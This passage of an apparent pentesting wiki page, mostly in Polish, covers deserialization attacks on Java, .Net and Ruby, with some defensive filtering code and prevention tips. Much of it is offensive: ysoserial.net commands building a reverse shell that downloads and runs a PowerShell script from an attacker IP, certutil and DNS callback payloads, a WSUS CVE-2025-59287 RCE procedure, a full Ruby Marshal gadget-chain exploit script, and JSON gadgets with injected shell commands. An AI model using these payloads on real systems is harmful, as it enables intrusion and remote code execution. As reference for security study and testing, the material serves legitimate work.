Nadpisz metodę resolveClass(), aby ograniczyć deserializację tylko do dozwolonych klas. To zapobiega deserializacji jakiejkolwiek klasy poza tymi wyraźnie dozwolonymi, na przykład w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Użycie Java Agenta do zwiększenia bezpieczeństwa oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda ma zastosowanie głównie do blacklisting harmful classes, przy użyciu parametru JVM:

-javaagent:name-of-agent.jar

Zapewnia sposób na zabezpieczenie deserializacji dynamicznie, idealny dla środowisk, w których natychmiastowe zmiany w kodzie są niepraktyczne.

Zobacz przykład w rO0 by Contrast Security

Implementacja filtrów serializacji: Java 9 wprowadził filtry serializacji za pośrednictwem interfejsu ObjectInputFilter, dostarczając potężny mechanizm określania kryteriów, które muszą spełniać serializowane obiekty zanim zostaną zdeserializowane. Te filtry można stosować globalnie lub dla poszczególnych strumieni, oferując szczegółową kontrolę nad procesem deserializacji.

Aby wykorzystać filtry serializacji, można ustawić filtr globalny, który będzie stosowany do wszystkich operacji deserializacji, lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Wykorzystanie zewnętrznych bibliotek dla zwiększenia bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje kontroli i monitorowania deserializacji w Javie. Te biblioteki mogą dostarczyć dodatkowe warstwy bezpieczeństwa, takie jak whitelistowanie lub blacklistowanie klas, analizowanie zserializowanych obiektów przed deserializacją oraz implementowanie niestandardowych strategii serializacji.

  • NotSoSerial przechwytuje procesy deserializacji, aby zapobiec wykonaniu nieufnego kodu.
  • jdeserialize pozwala na analizę zserializowanych obiektów Java bez deserializowania ich, co pomaga zidentyfikować potencjalnie złośliwą zawartość.
  • Kryo to alternatywny framework serializacji, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.

Referencje

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Produkty

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Eksploatacja

Zasadniczo istnieje wiele serwisów używających JMS w niebezpieczny sposób. W związku z tym, jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj potrzebne będą prawidłowe dane uwierzytelniające), możesz być w stanie wysłać złośliwe obiekty zserializowane, które zostaną zdeserializowane przez consumer/subscriber.
Oznacza to, że w tym scenariuszu wszystkie klienty, które będą korzystać z tej wiadomości, mogą zostać zainfekowane.

Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), nadal musisz znaleźć odpowiednie gadgety, aby wykorzystać tę podatność.

Narzędzie JMET zostało stworzone, aby połączyć się i zaatakować te usługi, wysyłając kilka złośliwych zserializowanych obiektów przy użyciu znanych gadgetów. Te exploity zadziałają, jeśli usługa jest wciąż podatna i jeśli którykolwiek z użytych gadgetów znajduje się w podatnej aplikacji.

Referencje

.Net

W kontekście .Net, exploity deserializacyjne działają podobnie jak te spotykane w Javie, gdzie gadgety są wykorzystywane do uruchomienia określonego kodu podczas deserializacji obiektu.

Fingerprint

WhiteBox

Kod źródłowy powinien być przeszukany pod kątem wystąpień:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Należy zwrócić uwagę na serializery, które pozwalają na określenie typu za pomocą zmiennej kontrolowanej przez użytkownika.

BlackBox

Poszukiwania powinny skupić się na Base64 zakodowanym stringu AAEAAAD///// lub jakimkolwiek podobnym wzorcu, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który zostanie zdeserializowany. Może to obejmować, między innymi, struktury JSON lub XML zawierające TypeObject lub $type.

ysoserial.net

W tym przypadku możesz użyć narzędzia ysoserial.net, aby tworzyć exploity deserializacyjne. Po pobraniu repozytorium git powinieneś skompilować narzędzie używając np. Visual Studio.

Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploity, możesz sprawdzić tę stronę, gdzie wyjaśniono gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Główne opcje ysoserial.net to: --gadget, --formatter, --output oraz --plugin.

  • --gadget używane do wskazania gadgetu, który ma być wykorzystany (wskazuje klasę/funkcję, która zostanie nadużyta podczas deserializacji w celu wykonania poleceń).
  • --formatter, używane do wskazania metody serializacji exploitu (musisz wiedzieć, której biblioteki używa backend do deserializacji payloadu i użyć tej samej do serializacji).
  • --output używane do wskazania, czy chcesz exploit w postaci raw czy base64. Zwróć uwagę, że ysoserial.net zakoduje payload używając UTF-16LE (kodowanie używane domyślnie w Windows), więc jeśli otrzymasz raw i po prostu zakodujesz go z konsoli linux możesz mieć pewne problemy z kompatybilnością kodowania, które uniemożliwią poprawne działanie exploitu (w HTB JSON box payload zadziałał w obu UTF-16LE i ASCII, ale to nie oznacza, że zawsze tak będzie).
  • --plugin ysoserial.net wspiera pluginy do tworzenia exploitów dla specyficznych frameworków jak ViewState

More ysoserial.net parameters

  • --minify dostarczy mniejszy payload (jeśli to możliwe)
  • --raf -f Json.Net -c "anything" To wskaże wszystkie gadgety, które mogą być użyte z podanym formatterem (Json.Net w tym przypadku)
  • --sf xml możesz wskazać gadget (-g) i ysoserial.net przeszuka formattery zawierające “xml” (bez rozróżnienia wielkości liter)

ysoserial examples to create exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ma także bardzo ciekawy parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test
Jeśli podasz ten parametr, ysoserial.net spróbuje exploit uruchomić lokalnie, więc możesz przetestować, czy Twój payload zadziała poprawnie.
Ten parametr jest przydatny, ponieważ jeśli przejrzysz kod, znajdziesz fragmenty kodu takie jak poniższy (z ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Oznacza to, że aby przetestować exploit, kod wywoła serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

W poprzednim przykładzie kod jest podatny na utworzony exploit. Więc jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja też jest podatna.
Dlatego parametr --test pozwala nam ustalić, które fragmenty kodu są podatne na exploit deserializacji, który może wygenerować ysoserial.net.

ViewState

Zobacz this POST about how to try to exploit the __ViewState parameter of .Net aby wykonać dowolny kod. Jeśli już znasz sekrety używane przez maszynę ofiary, read this post to know to execute code.

Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Dotknięte endpointy:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie odszyfrowane, a następnie deserializowane przez BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch i powiązane operacje SOAP, które trafiają do sinków SoapFormatter; base64 gadget jest przetwarzany, gdy konsola WSUS przyjmuje zdarzenie.
  • Root cause: bajty kontrolowane przez atakującego trafiają do legacy .NET formatters (BinaryFormatter/SoapFormatter) bez ścisłych allow‑lists/binders, więc łańcuchy gadgetów wykonują się jako konto usługi WSUS (często SYSTEM).

Minimalne wykorzystanie (ścieżka Reporting):

  1. Wygeneruj .NET gadget za pomocą ysoserial.net (BinaryFormatter lub SoapFormatter) i wygeneruj wyjście w base64, na przykład:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Przygotuj SOAP dla ReportEventBatch, osadź base64 gadget i wyślij POSTem do /ReportingWebService.asmx.
  2. Kiedy administrator otworzy konsolę WSUS, zdarzenie zostaje zdeserializowane, a gadget uruchamia się (RCE jako SYSTEM).

AuthorizationCookie / GetCookie()

  • Sfałszowany AuthorizationCookie może zostać zaakceptowany, odszyfrowany i przekazany do sinka BinaryFormatter, umożliwiając pre‑auth RCE, jeśli jest osiągalny.

Public PoC (tecxx/CVE-2025-59287-WSUS) parametry:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Zapobieganie

Aby zmniejszyć ryzyko związane z deserializacją w .Net:

  • Unikaj pozwalania strumieniom danych na definiowanie typów obiektów. W miarę możliwości używaj DataContractSerializer lub XmlSerializer.
  • Dla JSON.Net, ustaw TypeNameHandling na None: TypeNameHandling = TypeNameHandling.None
  • Unikaj używania JavaScriptSerializer z JavaScriptTypeResolver.
  • Ogranicz typy, które mogą być deserializowane, mając świadomość wrodzonych ryzyk typów .Net, takich jak System.IO.FileInfo, który może modyfikować właściwości plików serwera, potencjalnie prowadząc do denial of service attacks.
  • Bądź ostrożny z typami posiadającymi ryzykowne właściwości, jak System.ComponentModel.DataAnnotations.ValidationException z właściwością Value, która może zostać wykorzystana.
  • Bezpiecznie kontroluj tworzenie instancji typów, aby uniemożliwić atakującym wpływanie na proces deserializacji, co może uczynić nawet DataContractSerializer lub XmlSerializer podatnymi.
  • Zaimplementuj kontrolę białej listy przy użyciu niestandardowego SerializationBinder dla BinaryFormatter i JSON.Net.
  • Bądź na bieżąco ze znanymi niebezpiecznymi gadgetami deserializacji w .Net i upewnij się, że deserializery nie tworzą instancji takich typów.
  • Izoluj potencjalnie ryzykowny kod od kodu mającego dostęp do internetu, aby nie eksponować znanych gadgetów, takich jak System.Windows.Data.ObjectDataProvider w aplikacjach WPF, na nieufne źródła danych.

Referencje

Ruby

W Ruby serializacja jest realizowana przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do przekształcenia obiektu w strumień bajtów. Ten proces nazywany jest serializacją. Natomiast druga metoda, load, jest używana do odtworzenia obiektu ze strumienia bajtów — proces ten to deserializacja.

Dla zabezpieczenia serializowanych obiektów Ruby używa HMAC (Hash-Based Message Authentication Code), zapewniając integralność i autentyczność danych. Klucz używany do tego celu przechowywany jest w jednym z następujących miejsc:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Inny RCE chain do wykorzystania Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Metoda .send() w Ruby

Jak wyjaśniono w this vulnerability report, jeśli niesanitizowane dane wejściowe od użytkownika trafią do metody .send() obiektu Ruby, metoda ta pozwala wywołać dowolną inną metodę obiektu z dowolnymi parametrami.

Na przykład, wywołanie eval, a następnie kodu Ruby jako drugiego parametru pozwoli na wykonanie dowolnego kodu:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Co więcej, jeśli tylko jeden parametr .send() jest kontrolowany przez atakującego, jak wspomniano w poprzednim opisie, możliwe jest wywołanie dowolnej metody obiektu, która nie wymaga argumentów lub których argumenty mają wartości domyślne.
W tym celu można wyenumerować wszystkie metody obiektu, aby znaleźć interesujące metody, które spełniają te wymagania.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Sprawdź, jak może być możliwe pollute a Ruby class and abuse it in here.

Ruby _json pollution

When sending in a body some values not hashabled like an array they will be added into a new key called _json. However, It’s possible for an attacker to also set in the body a value called _json with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the _json parameter to perform some action, an authorisation bypass could be performed.

Check more information in the Ruby _json pollution page.

Inne biblioteki

Ta technika została zaczerpnięta from this blog post.

Istnieją inne biblioteki Ruby, które mogą być użyte do serializacji obiektów i które zatem mogą zostać nadużyte do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, którą wywołują po unserializacji (funkcja, którą można nadużyć, aby uzyskać RCE):

BibliotekaDane wejścioweMetoda wywoływana w klasie
Marshal (Ruby)Binary_load
OjJSONhash (klasa musi być umieszczona w hash(map) jako klucz)
OxXMLhash (klasa musi być umieszczona w hash(map) jako klucz)
Psych (Ruby)YAMLhash (klasa musi być umieszczona w hash(map) jako klucz)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basic example:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

W przypadku próby nadużycia Oj znaleziono gadget class, w której hash wywołuje to_s, które wywołuje spec, które wywołuje fetch_path — można było sprawić, żeby pobierało losowy URL, co stanowi świetny detektor tego rodzaju unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Co więcej stwierdzono, że poprzednią techniką w systemie tworzony jest także folder, który jest wymagany do wykorzystania innego gadgetu, aby przekształcić to w pełne RCE przy pomocy czegoś w rodzaju:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Nie jest to typowa deserialization vuln, ale sprytny trik pozwalający nadużyć bootstrap caching, żeby uzyskać RCE z rails application przy pomocy arbitrary file write (pełny oryginalny post tutaj).

Poniżej krótka lista kroków opisanych w artykule dotycząca eksploatacji arbitrary file write vulnerability przez nadużycie Bootsnap caching:

  • Identify the Vulnerability and Environment

    Funkcjonalność uploadu plików w aplikacji Rails pozwala atakującemu zapisywać pliki arbitralnie. Chociaż aplikacja działa z ograniczeniami (tylko niektóre katalogi jak tmp są zapisywalne z powodu Docker’s non-root user), to nadal pozwala to na zapis do katalogu cache Bootsnap (zazwyczaj pod tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap przyspiesza uruchamianie Rails poprzez cache’owanie skompilowanego kodu Ruby, YAML i JSON. Przechowuje pliki cache, które zawierają nagłówek cache key (z polami takimi jak Ruby version, file size, mtime, compile options itp.) a następnie skompilowany kod. Ten nagłówek jest używany do walidacji cache podczas startu aplikacji.

  • Gather File Metadata

    Atakujący najpierw wybiera plik docelowy, który jest prawdopodobnie ładowany podczas startu Rails (na przykład set.rb z standardowej biblioteki Ruby). Uruchamiając kod Ruby w kontenerze, wyciąga krytyczne metadane (takie jak RUBY_VERSION, RUBY_REVISION, size, mtime i compile_option). Dane te są niezbędne do skonstruowania poprawnego cache key.

  • Compute the Cache File Path

    Replikując mechanizm haszowania FNV-1a 64-bit używany przez Bootsnap, wyznacza się poprawną ścieżkę pliku cache. Ten krok zapewnia, że złośliwy plik cache zostanie umieszczony dokładnie tam, gdzie Bootsnap go oczekuje (np. under tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    Atakujący przygotowuje payload, który:

    • wykonuje arbitralne polecenia (na przykład uruchamia id, żeby pokazać informacje o procesie),
    • usuwa złośliwy cache po wykonaniu, żeby zapobiec rekursywnemu wykorzystywaniu,
    • ładuje oryginalny plik (np. set.rb), żeby nie powodować awarii aplikacji.

    Ten payload jest kompilowany do binary Ruby code i konkatenowany z starannie skonstruowanym cache key header (z użyciem wcześniej zebranych metadanych i odpowiedniego numeru wersji Bootsnap).

  • Overwrite and Trigger Execution

    Korzystając z arbitrary file write vulnerability, atakujący zapisuje przygotowany plik cache w obliczonej lokalizacji. Następnie wyzwala restart serwera (na przykład zapisując do tmp/restart.txt, który jest monitorowany przez Puma). Podczas restartu, kiedy Rails załaduje docelowy plik, zostanie wczytany złośliwy cache file, co skutkuje remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Traktuj każdą ścieżkę, gdzie nieufne bajty trafiają do Marshal.load/marshal_load jako RCE sink. Marshal rekonstruuje arbitralne grafy obiektów i wywołuje callbacki bibliotek/gemów podczas materializacji.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Typowe gadget classes spotykane w rzeczywistych łańcuchach: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Typowy znacznik efektu ubocznego osadzany w payloads (wykonywany podczas unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Gdzie pojawia się w realnych aplikacjach:

  • cache stores i session stores w Rails, historycznie korzystające z Marshal
  • Background job backends i file-backed object stores
  • Każde niestandardowe przechowywanie lub przesyłanie binarnych blobów obiektów

Zindustrializowane wykrywanie gadgetów:

  • Grepuj pod kątem konstruktorów, hash, _load, init_with lub metod powodujących efekty uboczne wywoływanych podczas unmarshal
  • Użyj CodeQL’s Ruby unsafe deserialization queries, aby prześledzić sources → sinks i ujawnić gadgets
  • Weryfikuj przy użyciu publicznych multi-format PoCs (JSON/XML/YAML/Marshal)

Referencje

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks